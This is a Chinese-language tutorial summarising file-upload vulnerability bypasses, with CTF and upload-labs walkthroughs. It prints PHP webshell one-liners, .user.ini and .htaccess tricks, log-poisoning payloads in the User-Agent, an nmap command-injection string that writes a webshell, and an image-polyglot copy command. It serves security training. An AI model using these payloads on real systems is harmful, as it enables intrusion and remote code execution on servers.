文件上传漏洞总结

文章发布时间:

最后更新时间:

文章总字数:
3.9k

预计阅读时间:
14 分钟

文件上传漏洞总结

网站中随处可见文件上传功能,例如头像更改,文章编辑,附件上传等等,假设文件上传功能没有对上传的文件进行限制,或者说被我们绕过了限制,就可以上传一句话木马从而获得webshell。

但是,不幸的是,文件上传漏洞利用的途径很容易就被限死,只要白名单加新建文件夹随机命名保存文件就没办法上传马,也没办法访问到上传的文件。所以说,一般实际环境和ctf赛题中,是不可能让你直接上传就获得webshell的(除非是简单题),通常要结合其他漏洞的利用。(如曾经做过的一道题上传个phar.png,然后反序列化执行命令)

话虽这么说,也还是得好好总结总结文件上传的常见绕过方式,毕竟是最经典的web漏洞之一。

文件上传验证机制以及绕过

要绕过,首先得清楚文件上传的验证机制有哪些。

  • 客户端JavaScript验证

    这个最简单,把js禁用了就行,或者通过bp抓包直接发送也行。

  • 服务端MIME类型验证

    这个也简单,抓包把Content-Type改为image/gif或者jpeg就行

  • 服务端文件扩展名验证( 黑名单、 白名单 )

    黑名单:

    • 后缀名大小写绕过
    • 找漏网之鱼phtml等
    • 特殊后缀绕过php3php4等
    • 单双重后缀绕过,pphphp,删了一个php刚好剩一个(不过真的会人这么写后端代码吗?)
    • 上传.htaccess和user.ini来将任意格式解析成php(不过真的会有人对这两种类型的文件网开一面吗?)

    白名单:下一题(开玩笑的,但是基本也说明本题考查的侧重点不在文件上传,毕竟白名单下还能利用的方式都已经是2013年的cve了,谁还用PHP5)下面的内容简单看看,了解了解就好

    • 配合web容器的解析漏洞

      IIS中的目录解析漏洞和分号解析漏洞 :

      将一句话木马的文件名 backlion.php,改成 backlion.php.abc(奇怪的不被解析的后缀名都 行)。首先, 服务器验证文件扩展名的时候,验证的是.abc,只要该扩展名符合服务器端黑白名单觃则,即可上传。

      nginx 空字节漏洞 xxx.jpg%00.php 这样的文件名会被解析为php代码运行。

      apache 的解析漏洞,上传如 a.php.rar a.php.gif 类型的文件名,可以避免 对于php文件的过滤机制,但是由于 apache 在解析文件名的时候是从右向左读,如果遇到不能识别的扩展名则跳过,rar 等扩展名是 apache 不能识别的, 因此就会直接将类型识别为 php,从而达到了注入php代码的目的。

    • %00 截断上传绕过

      通过抓包截断将 backlion.asp.jpg 后面的一个.换成%00 在上传的时候即 backlion.asp%00.jpg,当文件系统读到%00 时,会认为文件已经结束,从而将 backlion.asp.jpg 的内容写入到 backlion.asp 中,从而达到攻击的目的。%00 不是针对所有基于白名单的后缀名检查都能绕过,代码的实现过程中必须存在截 断上传漏洞,上传格式如下:bk.asp%00.jpg

    • 文件内容加幻术头GIF89a(虽然有点搞笑,但这种方式成功率最高)

  • 文件内容验证

    • 使用php短标签,不要出现php,或者不要出现?
    • 直接把木马和图片合一,copy 一张图片.png/b+一句话木马.php/a 生成图片名称.png,再利用配置文件将其解析成php或者利用文件包含漏洞

验证方式和绕过方式大抵就是上述那些,接下来还有一些小的知识点可以通过题目来学习。

文件上传靶场与赛题

ctfshow平台

各种绕过然后上传一句话木马,使用菜刀连接或者直接访问该页面并通过php执行命令。

web151:先上传符合条件后缀的文件(png)通过bp抓包,修改后缀为php即可上传成功,注意这次使用菜刀无法直接连接,可以访问这个上传的php文件,然后通过post数据来执行系统命令,shell=system(‘tac ../f*’);来获取flag,tac是模糊匹配,一级一级往上找flag,也可以先ls看一下各层有些什么文件,使用模糊匹配的原因是很多时候flag会被过滤掉

web152:同上。

web153:php文件被阻止,尝试访问upload发现下面有index.php,可以使用.user.ini将图片马的代码插入到index.php中。注意:.user.ini只对同一目录下的文件起作用

.user.ini

GIF8A(gif头,绕过文件头检测)

auto_prepend_file=meima.png

图片马:meima.png

<?= eval($_POST['cmd']);?> 这样的一句话可以绕过php的检测

<script language="php">@eval_r($_POST[sb])</script> 绕过<?限制的一句话

web154:同上

web155:同上

web156:本想同上,结果发现在上传图片马的时候返回了图片类型不合规,说明图片马的内容被检测了不通过,但是不知道究竟是哪个地方被过滤,采用二分法截断一句话来定位过滤位置,成功定位到方括号。

过滤了方括号尝试使用{},绕过成功。

web157:二分发现方括号和大括号和分号都被过滤,可以考虑替换一句话,直接执行命令而不是获得webshell <? echo `tac ../f*` ?>记得直接执行命令的时候前面要加上echo,否则无法在index.php中看到回显,用反引号包裹语句表示语句执行后得到的结果。

PHP最后一句可以不用加;,只是针对这种逻辑简单的可以不加,一些逻辑比较复杂的代码最后还是是需要加的

web158:同上

web159:同上

web160:新姿势,日志包含绕过:既然检测文件内容过滤了这么多关键字和符号,那干脆就不要在文件里面写查找flag的代码,而是在png图片里写包含日志的代码,而访问网站时通过在user-agent里面插入php代码,从而成功绕过文件内容检测来执行代码。

图片内容<?=include"/var/lo"."g/nginx/access.lo"."g"?>因为log被过滤了。所以用拼接绕过。注意php里面的加号用点来表示。

上传完.user.ini和图片后,访问网站然后修改ua头信息,改为<?php system(‘tac ../f*’);?>

再访问upload,在一堆日志里面找flag即可。

web161:同上,记得图片内容上面加个GIF8A幻术头绕过文件头检测。

web162,163:session文件包含

Buuctf平台

upload:文件上传

先随便上传一点文件看看检测要求,发现必须上传图片且图片中不能含<?且后缀名不能是php,故使用幻术gif头GIF89A和另一种写法的一句话木马,后缀采用phtml,最后上传成功后用菜刀连接,根目录下面找flag就行

Content-Disposition: form-data; name=”file”; filename=”get_webshell2.phtml”
Content-Type: image/jpeg

1
2
GIF89A
<script language="php">eval($_POST['sb'])</script>

你传你马呢:文件上传,图片马

.htaccess协议文件上传来将任意后缀名文件解析成php代码执行,再上传含有一句话木马的文件,直接通过使用菜刀连接这张图片获取webshell

checkin:.user.ini+exif幻术头绕过,其他操作和其他简单文件上传题完全一样。.user.ini用于在同级文件下自动包含某个文件,如果upload下面有可以访问的php文件,让其自动包含我们的木马,然后访问这个文件即可获得webshell。

nmap:nmap工具使用和命令注入

nmap是一个扫描主机和端口的linux软件,本题用到了nmap的写文件操作,通过命令拼接来写入木马,从而达到获取webshell的目的。

参数-oG 将结果grep保存到指定文件中,经测试屏蔽了php,故写入下面的一句话,访问phtml文件获得flag。

1
' -oG b.phtml <?=eval(\$_POST[a]);?>'
1
$host = escapeshellarg($host);  $host = escapeshellcmd($host);

上面这个语句绕过了这两个函数对命令行注入的检测,于2016年被修复。

比赛赛题

upload-lab靶场

超详细文件上传漏洞总结分析-腾讯云开发者社区-腾讯云 (tencent.com)

菜刀连接不上就直接到上传的一句话木马页面使用php命令。

Pass-01

仅js前端验证,禁js或者bp改后缀名即可

Pass-02

mime验证,将content-type改成合法的image/png或者image/jpeg即可

Pass-03

不允许上传asp,aspx,php,jsp文件,可以上传php3,phtml等后缀的文件进行绕过,利用的是等价扩展名的知识。

语言 等价扩展名
asp asa, cer, cdx
aspx ashx, asmx, ascx
php php2 php3 php4 phps phtml
jsp jspx jspf

Pass-04

这题对后缀过滤的很全面,通过上传.htaccess解析任意的后缀名来绕过

.htaccess写法 AddType application/x-httpd-php .后缀名 这个后缀名最好写个独特的

然后再上传这个后缀名的木马即可绕过。

Pass-05

改变后缀名大小写绕过

Pass-06

空格绕过,在后缀名后添加空格避开检测

Pass-07

点绕过,在后缀名后面添加点可以绕过检测

Pass-08

添加字符串 绕过,在后缀名后面添加::$DATA

小总结:

我们现在已经学会了:

  1. 删除 js 进行绕过
  2. MIME类型绕过——bp抓包改包
  3. 黑名单不够全面——等价扩展名
  4. .htaccess绕过
  5. 大小写绕过
  6. ::$DATA绕过
  7. 去除空格绕过
  8. 点绕过

Pass-09

仔细观察源码,发现先删去了后缀名末尾的点再删空格,且没有循环操作,只删了一次,可以使用.php. .这样的后缀名来绕过,经过过滤后会变成.php.刚好绕过所有的检测

Pass-10

将黑名单中的关键字过滤成空,只需要双写后缀名即可绕过。

Pass-11

本题不再使用黑名单,而是使用白名单来检测后缀名,但是这题的文件上传路径可控,可以使用00截断绕过后缀名检测。00截断要求需要php的版本号低于5.3.29, 且magic_quotes_gpc为关闭状态。

可控文件上传位置/uploads/1.php%00,上传图片马1.png,这时文件名会变成1.php.1.png,但由于%00的作用,使得00后面的内容都无效了,最后文件的后缀名就是.php,实现绕过。

另外需要注意,这里是get型00截断,是通过url来传递文件上传路径的,所以需要对0x00进行url编码,上传到服务器会被自动解码变成NULL才能达到截断的目的。

POST /Pass-11/index.php?save_path=../upload/1.php%00 HTTP/1.1

Pass-12

本题的文件路径通过post来指定,%00并不会被服务器解码,只会原样被参数变量接收,这时需要修改post数据的十六进制来达到截断的目的。

抓包填好路径之后只用bp的hex查看,将php后面的改为00即可。

Pass-13

本题检测图片内容开头两字节,加对应文件的幻术头即可,如.gif的GIF89A

Pass-14

本题使用getimagesize()函数对目标文件的16进制进行读取,读取头几个字符串是不是符合要求的,依然是上一题的做法,同时遇到这些通过内容来进行后端检测图片马的,可以直接将一句话木马插入到一个合法的图片文件中。

1
2
3
copy a.png /b + a.php /a 3.php  
/b:指定以二进制格式复制、合并文件,用于图像或者声音类文件
/a:指定以ascii格式复制、合并文件用于txt等文本类文件

Pass-15

使用exif_imagetype()函数获取图片类型,同上

Pass-16

二次渲染

原理:在我们上传文件之后,网站会对图片进行二次处理,对格式和尺寸进行处理,服务器会对里面的内容进行更新替换,并在处理完成后根据我们原有的图片生成一个新的图片放在网站的对应位置进行显示 imagecreatefromjpeg()

如果我们直接在最开始的图片里插入马,很有可能就被删掉了,故绕过的思路是将一句话木马插入到网站已经二次处理后的图片中,确保马不会在二次处理时被删掉,这样二次渲染后的图片里就存在了这样一句话,再配合文件包含漏洞获取webshell即可。

1、先把图片马进行上传,然后再把上传的图片马下载下来。
2、下载下来的图片可以通过010eidtor 和原来的图片马进行数据的对比,看哪个部分没有被修改。
3、对原来的图片马进行修改,把php代码写到数据中没有被修改的地方。
4、修改后的图片马上传,其数据中的webshell数据未被修改,再配合前面提到的包含漏洞,得以执行图片马中的php代码。

Pass-17

条件竞争

条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生。

上传文件源代码里没有校验上传的文件,文件直接上传,上传成功后才进行判断:如果文件格式符合要求,则重命名,如果文件格式不符合要求,将文件删除。 凡是这种上传成功之后才进行判断都可以考虑进行条件竞争。

由于服务器并发处理(同时)多个请求,假如a用户上传了木马文件,由于代码执行需要时间,在此过程中b用户访问了a用户上传的文件,会有以下三种情况:

1.访问时间点在上传成功之前,没有此文件。

2.访问时间点在刚上传成功但还没有进行判断,该文件存在。

3.访问时间点在判断之后,文件被删除,没有此文件。

第二个即成功访问,故一边不断请求上传,另一边不断访问,总有一次在服务器还没来得及删除的时候会执行代码。

Pass-18

同上采用条件竞争。

Pass-19

保存文件名可控,使用00截断绕过或者文件名后面加/.伪造成文件路径

Pass-20

保存文件名可控同上